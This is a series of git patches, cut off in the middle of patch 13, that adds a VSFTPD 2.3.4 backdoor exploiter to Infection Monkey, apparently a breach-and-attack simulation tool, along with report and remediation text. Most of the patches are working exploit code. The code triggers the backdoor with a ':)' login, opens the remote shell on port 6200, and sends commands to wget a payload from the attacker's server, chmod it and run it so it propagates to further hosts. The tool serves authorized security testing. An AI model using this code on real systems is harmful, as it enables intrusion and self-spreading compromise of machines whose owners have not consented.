From 2b47749385b95890ba9967cf5d50b3eb8519076e Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Mon, 11 Mar 2019 01:50:27 +0100 Subject: [PATCH 01/19] Added a new exploit A new exploit was added to the infection_monkey for the following vulnerability https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor --- monkey/infection_monkey/example.conf | 3 +- monkey/infection_monkey/exploit/__init__.py | 1 + monkey/infection_monkey/exploit/vsftpd.py | 123 ++++++++++++++++++ .../cc/services/config_schema.py | 10 +- monkey/monkey_island/cc/services/report.py | 13 +- 5 files changed, 146 insertions(+), 4 deletions(-) create mode 100644 monkey/infection_monkey/exploit/vsftpd.py diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index b3b44c585..7969efb62 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -41,7 +41,8 @@ "SambaCryExploiter", "Struts2Exploiter", "WebLogicExploiter", - "HadoopExploiter" + "HadoopExploiter", + "VSFTPDExploiter" ], "finger_classes": [ "SSHFinger", diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 0d4300b5f..ce42d6bcc 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -50,3 +50,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter from infection_monkey.exploit.weblogic import WebLogicExploiter from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.mssqlexec import MSSQLExploiter +from infection_monkey.exploit.vsftpd import VSFTPDExploiter diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py new file mode 100644 index 000000000..c2cfd003c --- /dev/null +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -0,0 +1,123 @@ +import logging +from logging import getLogger + +import time + +import paramiko +import StringIO +import socket +import sys +import time + +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from infection_monkey.model import MONKEY_ARG +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.tools import build_monkey_commandline +from common.utils.exploit_enum import ExploitType + +LOG = getLogger(__name__) + +__author__ = 'D3fa1t' + +FTP_PORT = 21 +TRANSFER_UPDATE_RATE = 15 +COMMAND = "uname -a" + +class VSFTPDExploiter(HostExploiter): + _TARGET_OS_TYPE = ['linux', None] + EXPLOIT_TYPE = ExploitType.OTHER + + def __init__(self, host): + self._update_timestamp = 0 + super(VSFTPDExploiter, self).__init__(host) + self.skip_exist = self._config.skip_exploit_if_file_exist + + def exploit_host(self): + try: + LOG.info('[*] Attempting to trigger backdoor...') + ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + ftp_socket.connect((self.host.ip_addr, FTP_PORT)) + + # Attempt to login to trigger backdoor + ftp_socket.send(b'USER letmein:)\n') + ftp_socket.send(b'PASS please\n') + time.sleep(2) + ftp_socket.close() + LOG.info('[+] Triggered backdoor') + + except Exception: + LOG.info('[!] Failed to trigger backdoor on %s' , self.host.ip_addr) + + try: + LOG.info('[*] Attempting to connect to backdoor...') + backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + backdoor_socket.connect((self.host.ip_addr, 6200)) + LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) + command = str.encode("uname -o" + '\n') + backdoor_socket.send(command) + response = backdoor_socket.recv(1024).decode('utf-8') + LOG.info('[+] Response for uname -o: %s', response) + if 'linux' in response.lower().strip(): + #command execution is successful + self.host.os['type'] = 'linux' + else : + LOG.info("Port 6200 opened but failed to execute commands on victim %r ",self.host) + + command = str.encode("uname -m" + '\n') + backdoor_socket.send(command) + response = backdoor_socket.recv(1024).decode('utf-8') + LOG.info('[+] Response for uname -m: %s', response) + if '' != response.lower().strip(): + #command execution is successful + self.host.os['machine'] = response.lower().strip() + else : + LOG.info("Failed to execute command uname -m on victim %r ",self.host) + + src_path = get_target_monkey(self.host) + + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + + + LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) + + #copy the monkey into the machine + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + dropper_target_path_linux = self._config.dropper_target_path_linux + + #download the monkey + download_command = '/usr/bin/wget %s -O %s;' % ( + http_path, dropper_target_path_linux) + LOG.info("Download_command is %s",download_command) + + command = str.encode(str(download_command) + '\n') + backdoor_socket.send(command) + + #changeit to executable + + execute_command = "/bin/chmod +x %s" % dropper_target_path_linux + LOG.info("Execute_command is %s",execute_command) + + command = str.encode(str(execute_command) + '\n') + + backdoor_socket.send(command) + + + #run the monkey + + LOG.info('[+] Connected to backdoor on %s:6200 to execute our command' , self.host.ip_addr) + + command = str.encode("/tmp/monkey " + '\n') + backdoor_socket.send(command) + LOG.info("Successfully ran monkey on the next box \n") + backdoor_socket.close() + self._exploit_info['Vulnerability'] = {"Success":"True"} + + except Exception: + LOG.info('[!] Failed to connect to backdoor on %s:6200', self.host.ip_addr) + + + return True diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 8d99540bf..703f4ee01 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -91,6 +91,13 @@ SCHEMA = { "HadoopExploiter" ], "title": "Hadoop/Yarn Exploiter" + }, + { + "type": "string", + "enum": [ + "VSFTPDExploiter" + ], + "title": "VSFTPD Exploiter" } ] }, @@ -694,7 +701,8 @@ SCHEMA = { "ElasticGroovyExploiter", "Struts2Exploiter", "WebLogicExploiter", - "HadoopExploiter" + "HadoopExploiter", + "VSFTPDExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 73ca69b5b..68aaa18ff 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -41,7 +41,8 @@ class ReportService: 'Struts2Exploiter': 'Struts2 Exploiter', 'WebLogicExploiter': 'Oracle WebLogic Exploiter', 'HadoopExploiter': 'Hadoop/Yarn Exploiter', - 'MSSQLExploiter': 'MSSQL Exploiter' + 'MSSQLExploiter': 'MSSQL Exploiter', + 'VSFTPDExploiter': 'VSFTPD Backdoor Exploited' } class ISSUES_DICT(Enum): @@ -253,6 +254,7 @@ class ReportService: else: processed_exploit['type'] = 'hash' return processed_exploit + return processed_exploit @staticmethod def process_smb_exploit(exploit): @@ -288,6 +290,12 @@ class ReportService: processed_exploit['type'] = 'rdp' return processed_exploit + @staticmethod + def process_vsftpd_exploit(exploit): + processed_exploit = ReportService.process_general_creds_exploit(exploit) + processed_exploit['type'] = 'ftp' + return processed_exploit + @staticmethod def process_sambacry_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) @@ -354,7 +362,8 @@ class ReportService: 'Struts2Exploiter': ReportService.process_struts2_exploit, 'WebLogicExploiter': ReportService.process_weblogic_exploit, 'HadoopExploiter': ReportService.process_hadoop_exploit, - 'MSSQLExploiter': ReportService.process_mssql_exploit + 'MSSQLExploiter': ReportService.process_mssql_exploit, + 'VSFTPDExploiter': ReportService.process_vsftpd_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) From 0706bddda551e79a0bf577bacc7ce3b8add507b2 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Mon, 11 Mar 2019 16:09:09 +0100 Subject: [PATCH 02/19] Added discription and details for repot. Added discription and details about the exploit vsftpd --- monkey/monkey_island/cc/services/report.py | 7 +++- .../cc/ui/src/components/pages/ReportPage.js | 38 +++++++++++++++++-- 2 files changed, 39 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 68aaa18ff..9e5ab1df0 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -58,7 +58,8 @@ class ReportService: WEBLOGIC = 9 HADOOP = 10 PTH_CRIT_SERVICES_ACCESS = 11, - MSSQL = 12 + MSSQL = 12, + VSFTPD = 13 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -293,7 +294,7 @@ class ReportService: @staticmethod def process_vsftpd_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'ftp' + processed_exploit['type'] = 'vsftp' return processed_exploit @staticmethod @@ -652,6 +653,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True elif issue['type'] == 'sambacry': issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True + elif issue['type'] == 'vsftp': + issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True elif issue['type'] == 'shellshock': issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True elif issue['type'] == 'conficker': diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index b5ab30581..556fbd1a5 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -30,7 +30,8 @@ class ReportPageComponent extends AuthComponent { WEBLOGIC: 9, HADOOP: 10, PTH_CRIT_SERVICES_ACCESS: 11, - MSSQL: 12 + MSSQL: 12, + VSFTPD: 13 }; Warning = @@ -297,20 +298,24 @@ class ReportPageComponent extends AuthComponent { return x === true; }).length > 0 ?
- During this simulated attack the Monkey uncovered {this.state.report.overview.issues.filter(function (x) { return x === true; - }).length} threats: + }).length} threats.:
    {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ? -
  • Stolen SSH keys are used to exploit other machines.
  • : null } +
  • Stolen SSH keys are used to exploit other machines.
  • : null } {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
  • Stolen credentials are used to exploit other machines.
  • : null} {this.state.report.overview.issues[this.Issue.ELASTIC] ?
  • Elasticsearch servers are vulnerable to CVE-2015-1427.
  • : null} + {this.state.report.overview.issues[this.Issue.VSFTPD] ? +
  • VSFTPD is vulnerable to CVE-2011-2523. +
  • : null} {this.state.report.overview.issues[this.Issue.SAMBACRY] ?
  • Samba servers are vulnerable to ‘SambaCry’ ( + Update your VSFTPD server to the latest version vsftpd-3.0.3. + + The machine {issue.machine} ({issue.ip_address}) has a backdoor running at port 6200. +
    + The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523. +

    In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised. + Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200. +

    + The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor at port 6200. +

    Read more about the security issue and remediation
    here. + +
  • + ); + } + generateElasticIssue(issue) { return (
  • @@ -890,6 +917,9 @@ generateMSSQLIssue(issue) { generateIssue = (issue) => { let data; switch (issue.type) { + case 'vsftp': + data = this.generateVsftpdBackdoorIssue(issue); + break; case 'smb_password': data = this.generateSmbPasswordIssue(issue); break; From 6313ce79334ed040943ba0b259068571a1856366 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Tue, 12 Mar 2019 12:06:17 +0100 Subject: [PATCH 03/19] Update vsftpd.py --- monkey/infection_monkey/exploit/vsftpd.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index c2cfd003c..c66c2b15a 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -118,6 +118,6 @@ class VSFTPDExploiter(HostExploiter): except Exception: LOG.info('[!] Failed to connect to backdoor on %s:6200', self.host.ip_addr) - + return False return True From 0b3e6274d9b4d7f1834c31cff36d9a623e81545b Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Tue, 12 Mar 2019 12:16:20 +0100 Subject: [PATCH 04/19] Update vsftpd.py Changed the payload from /tmp/monkey to generating payload using build_monkey_commandline --- monkey/infection_monkey/exploit/vsftpd.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index c66c2b15a..11a5b3297 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -106,13 +106,16 @@ class VSFTPDExploiter(HostExploiter): backdoor_socket.send(command) - #run the monkey + #run the monkey + cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + cmdline += "&" - LOG.info('[+] Connected to backdoor on %s:6200 to execute our command' , self.host.ip_addr) - - command = str.encode("/tmp/monkey " + '\n') + command = str.encode(str(cmdline) + '\n') backdoor_socket.send(command) - LOG.info("Successfully ran monkey on the next box \n") + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, self.host, cmdline) + backdoor_socket.close() self._exploit_info['Vulnerability'] = {"Success":"True"} From dade4daad29e1e10b0217dc8ab73ba701a11eb1f Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Tue, 12 Mar 2019 12:37:09 +0100 Subject: [PATCH 05/19] Update vsftpd.py Removed unused imports, removed hardcoded username and password. Removed EXPLOIT_TYPE Removed NONE in tatget_os_type Reduced time to sleep from 2 to 1 --- monkey/infection_monkey/exploit/vsftpd.py | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 11a5b3297..5819d7d44 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -1,15 +1,11 @@ import logging from logging import getLogger -import time - import paramiko import StringIO import socket -import sys import time -import infection_monkey.monkeyfs as monkeyfs from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth from infection_monkey.model import MONKEY_ARG @@ -23,12 +19,14 @@ __author__ = 'D3fa1t' FTP_PORT = 21 TRANSFER_UPDATE_RATE = 15 -COMMAND = "uname -a" +USERNAME = b'USER letmein:)\n' +PASSWORD = b'PASS please\n' + + class VSFTPDExploiter(HostExploiter): - _TARGET_OS_TYPE = ['linux', None] - EXPLOIT_TYPE = ExploitType.OTHER - + _TARGET_OS_TYPE = ['linux'] + def __init__(self, host): self._update_timestamp = 0 super(VSFTPDExploiter, self).__init__(host) @@ -41,9 +39,9 @@ class VSFTPDExploiter(HostExploiter): ftp_socket.connect((self.host.ip_addr, FTP_PORT)) # Attempt to login to trigger backdoor - ftp_socket.send(b'USER letmein:)\n') - ftp_socket.send(b'PASS please\n') - time.sleep(2) + ftp_socket.send(USERNAME) + ftp_socket.send(PASSWORD) + time.sleep(1) ftp_socket.close() LOG.info('[+] Triggered backdoor') From bb8a1c5c017a7949148a661d9f6cef098aa3e0cb Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Tue, 12 Mar 2019 19:38:48 +0100 Subject: [PATCH 06/19] Updated the exploit. The `.` was removed from reportpage.js and the exploit was modified. --- monkey/infection_monkey/exploit/vsftpd.py | 44 ++++++++----------- .../cc/ui/src/components/pages/ReportPage.js | 2 +- 2 files changed, 20 insertions(+), 26 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 5819d7d44..86e64953a 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -1,17 +1,15 @@ -import logging -from logging import getLogger - -import paramiko import StringIO -import socket +import logging +import paramiko +import socket import time - +from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline -from common.utils.exploit_enum import ExploitType +from logging import getLogger LOG = getLogger(__name__) @@ -23,7 +21,6 @@ USERNAME = b'USER letmein:)\n' PASSWORD = b'PASS please\n' - class VSFTPDExploiter(HostExploiter): _TARGET_OS_TYPE = ['linux'] @@ -53,16 +50,7 @@ class VSFTPDExploiter(HostExploiter): backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) backdoor_socket.connect((self.host.ip_addr, 6200)) LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) - command = str.encode("uname -o" + '\n') - backdoor_socket.send(command) - response = backdoor_socket.recv(1024).decode('utf-8') - LOG.info('[+] Response for uname -o: %s', response) - if 'linux' in response.lower().strip(): - #command execution is successful - self.host.os['type'] = 'linux' - else : - LOG.info("Port 6200 opened but failed to execute commands on victim %r ",self.host) - + command = str.encode("uname -m" + '\n') backdoor_socket.send(command) response = backdoor_socket.recv(1024).decode('utf-8') @@ -70,10 +58,13 @@ class VSFTPDExploiter(HostExploiter): if '' != response.lower().strip(): #command execution is successful self.host.os['machine'] = response.lower().strip() + self.host.os['type'] = 'linux' + else : LOG.info("Failed to execute command uname -m on victim %r ",self.host) src_path = get_target_monkey(self.host) + LOG.info("src for suitable monkey executable for host %r is %s", self.host,src_path) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) @@ -83,16 +74,19 @@ class VSFTPDExploiter(HostExploiter): LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) #copy the monkey into the machine - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) dropper_target_path_linux = self._config.dropper_target_path_linux + LOG.info("Download link for monkey is %s",http_path) #download the monkey download_command = '/usr/bin/wget %s -O %s;' % ( - http_path, dropper_target_path_linux) + http_path, dropper_target_path_linux) LOG.info("Download_command is %s",download_command) command = str.encode(str(download_command) + '\n') - backdoor_socket.send(command) + backdoor_socket.send(command) + time.sleep(3) # wait till the file is downloaded + LOG.info("waiting 3 seconds for download to be completed") #changeit to executable @@ -108,13 +102,13 @@ class VSFTPDExploiter(HostExploiter): cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline += "&" - - command = str.encode(str(cmdline) + '\n') + + command = str.encode(str(cmdline) + '\n') backdoor_socket.send(command) + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline) - backdoor_socket.close() self._exploit_info['Vulnerability'] = {"Success":"True"} except Exception: diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 556fbd1a5..7dae3f2ed 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -302,7 +302,7 @@ class ReportPageComponent extends AuthComponent { className="label label-warning"> {this.state.report.overview.issues.filter(function (x) { return x === true; - }).length} threats.: + }).length} threats:
      {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
    • Stolen SSH keys are used to exploit other machines.
    • : null } From 47baea039ad0a01d066f76cbdab557b9b0e043a0 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Tue, 12 Mar 2019 19:44:45 +0100 Subject: [PATCH 07/19] Update vsftpd.py Better exception log --- monkey/infection_monkey/exploit/vsftpd.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 86e64953a..c2088514a 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -42,8 +42,8 @@ class VSFTPDExploiter(HostExploiter): ftp_socket.close() LOG.info('[+] Triggered backdoor') - except Exception: - LOG.info('[!] Failed to trigger backdoor on %s' , self.host.ip_addr) + except socket.error as e: + LOG.error('[!] Failed to trigger backdoor on %s' , self.host.ip_addr) try: LOG.info('[*] Attempting to connect to backdoor...') @@ -111,8 +111,9 @@ class VSFTPDExploiter(HostExploiter): self._exploit_info['Vulnerability'] = {"Success":"True"} - except Exception: - LOG.info('[!] Failed to connect to backdoor on %s:6200', self.host.ip_addr) + except socket.error as e: + LOG.error('[!] Failed to connect to backdoor on %s:6200', self.host.ip_addr) + LOG.error('Error Connecting to backdoor. Error: %s' % e) return False return True From 9b0c0d4233c8f34f177c202a7d29a93c80d46e70 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Tue, 12 Mar 2019 19:51:12 +0100 Subject: [PATCH 08/19] Update vsftpd.py using `ftp_socket.recv(1024).decode('utf-8')` to prevent chances of race conditions --- monkey/infection_monkey/exploit/vsftpd.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index c2088514a..e32f1fd80 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -34,9 +34,10 @@ class VSFTPDExploiter(HostExploiter): LOG.info('[*] Attempting to trigger backdoor...') ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ftp_socket.connect((self.host.ip_addr, FTP_PORT)) - + ftp_socket.recv(1024).decode('utf-8') # Attempt to login to trigger backdoor ftp_socket.send(USERNAME) + ftp_socket.recv(1024).decode('utf-8') ftp_socket.send(PASSWORD) time.sleep(1) ftp_socket.close() From 53f12f4b673acdc52e17c8389c7af24353dd398c Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Tue, 12 Mar 2019 20:53:16 +0100 Subject: [PATCH 09/19] Update ReportPage.js Fix for issue #213 --- .../monkey_island/cc/ui/src/components/pages/ReportPage.js | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 7dae3f2ed..754ded024 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -408,9 +408,9 @@ class ReportPageComponent extends AuthComponent { generateReportRecommendationsSection() { return (
      -

      - Domain related recommendations -

      + {Object.keys(this.state.report.recommendations.domain_issues).length !=0 ? +

      Domain related recommendations

      : null } +
      {this.generateIssues(this.state.report.recommendations.domain_issues)}
      From 01cc702906d5e37a846f8308a14a48a4c138f8f3 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Wed, 13 Mar 2019 11:31:26 +0100 Subject: [PATCH 10/19] Update vsftpd.py Removed (+,! ) used for debugging. Changed the recv size from 1024 to 128 --- monkey/infection_monkey/exploit/vsftpd.py | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index e32f1fd80..2f072cb7c 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -31,31 +31,31 @@ class VSFTPDExploiter(HostExploiter): def exploit_host(self): try: - LOG.info('[*] Attempting to trigger backdoor...') + LOG.info('Attempting to trigger backdoor...') ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ftp_socket.connect((self.host.ip_addr, FTP_PORT)) - ftp_socket.recv(1024).decode('utf-8') + ftp_socket.recv(128).decode('utf-8') # Attempt to login to trigger backdoor ftp_socket.send(USERNAME) - ftp_socket.recv(1024).decode('utf-8') + ftp_socket.recv(128).decode('utf-8') ftp_socket.send(PASSWORD) time.sleep(1) ftp_socket.close() - LOG.info('[+] Triggered backdoor') + LOG.info('Triggered backdoor') except socket.error as e: - LOG.error('[!] Failed to trigger backdoor on %s' , self.host.ip_addr) + LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) try: - LOG.info('[*] Attempting to connect to backdoor...') + LOG.info('Attempting to connect to backdoor...') backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) backdoor_socket.connect((self.host.ip_addr, 6200)) - LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) + LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) command = str.encode("uname -m" + '\n') backdoor_socket.send(command) - response = backdoor_socket.recv(1024).decode('utf-8') - LOG.info('[+] Response for uname -m: %s', response) + response = backdoor_socket.recv(128).decode('utf-8') + LOG.info('Response for uname -m: %s', response) if '' != response.lower().strip(): #command execution is successful self.host.os['machine'] = response.lower().strip() @@ -72,7 +72,7 @@ class VSFTPDExploiter(HostExploiter): return False - LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) + LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) #copy the monkey into the machine http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) @@ -113,7 +113,7 @@ class VSFTPDExploiter(HostExploiter): self._exploit_info['Vulnerability'] = {"Success":"True"} except socket.error as e: - LOG.error('[!] Failed to connect to backdoor on %s:6200', self.host.ip_addr) + LOG.error('Failed to connect to backdoor on %s:6200', self.host.ip_addr) LOG.error('Error Connecting to backdoor. Error: %s' % e) return False From 1587aa2d4c0f2761d3f27534f656ed0a11084649 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Fri, 15 Mar 2019 12:47:59 +0100 Subject: [PATCH 11/19] Update vsftpd.py --- monkey/infection_monkey/exploit/vsftpd.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 2f072cb7c..6f05ba428 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -19,6 +19,7 @@ FTP_PORT = 21 TRANSFER_UPDATE_RATE = 15 USERNAME = b'USER letmein:)\n' PASSWORD = b'PASS please\n' +DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder class VSFTPDExploiter(HostExploiter): @@ -85,9 +86,9 @@ class VSFTPDExploiter(HostExploiter): LOG.info("Download_command is %s",download_command) command = str.encode(str(download_command) + '\n') - backdoor_socket.send(command) - time.sleep(3) # wait till the file is downloaded - LOG.info("waiting 3 seconds for download to be completed") + backdoor_socket.send(command) + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() #changeit to executable From 525e54115698c9c9f358bcff7430e84a3b96af97 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Fri, 15 Mar 2019 15:24:17 +0100 Subject: [PATCH 12/19] Update vsftpd.py Replaced sleep with recv, waits for the server to respond instead of sleeping --- monkey/infection_monkey/exploit/vsftpd.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 6f05ba428..bf36adfe0 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -40,7 +40,7 @@ class VSFTPDExploiter(HostExploiter): ftp_socket.send(USERNAME) ftp_socket.recv(128).decode('utf-8') ftp_socket.send(PASSWORD) - time.sleep(1) + ftp_socket.recv(128).decode('utf-8') ftp_socket.close() LOG.info('Triggered backdoor') From 9e5292dc8e87ee55130a6ca9eaac5a18ea2edf1d Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Thu, 18 Apr 2019 20:48:24 +0200 Subject: [PATCH 13/19] Update vsftpd.py implemented 3 functions socket_connect, socket_send,socket_send_recv to handle the exception as advised. --- monkey/infection_monkey/exploit/vsftpd.py | 190 +++++++++++++--------- 1 file changed, 116 insertions(+), 74 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index bf36adfe0..c4db287dc 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -30,92 +30,134 @@ class VSFTPDExploiter(HostExploiter): super(VSFTPDExploiter, self).__init__(host) self.skip_exist = self._config.skip_exploit_if_file_exist - def exploit_host(self): + def socket_connect(s,ip_addr,port): try: - LOG.info('Attempting to trigger backdoor...') - ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - ftp_socket.connect((self.host.ip_addr, FTP_PORT)) - ftp_socket.recv(128).decode('utf-8') - # Attempt to login to trigger backdoor - ftp_socket.send(USERNAME) - ftp_socket.recv(128).decode('utf-8') - ftp_socket.send(PASSWORD) - ftp_socket.recv(128).decode('utf-8') - ftp_socket.close() - LOG.info('Triggered backdoor') - + s.connect((ip_addr,port)) + return True except socket.error as e: - LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) + LOG.error('Failed to connect to %s' , self.host.ip_addr) + + return False + def socket_send_recv(s,message): try: - LOG.info('Attempting to connect to backdoor...') - backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - backdoor_socket.connect((self.host.ip_addr, 6200)) + s.send(message) + return s.recv(128).decode('utf-8') + + except socket.error as e: + LOG.error('Failed to send payload to %s' , self.host.ip_addr) + + return False + + def socket_send(s,message): + try: + s.send(message) + return True + + except socket.error as e: + LOG.error('Failed to send payload to %s' , self.host.ip_addr) + + return False + + + + def exploit_host(self): + + LOG.info('Attempting to trigger backdoor...') + ftp_socket 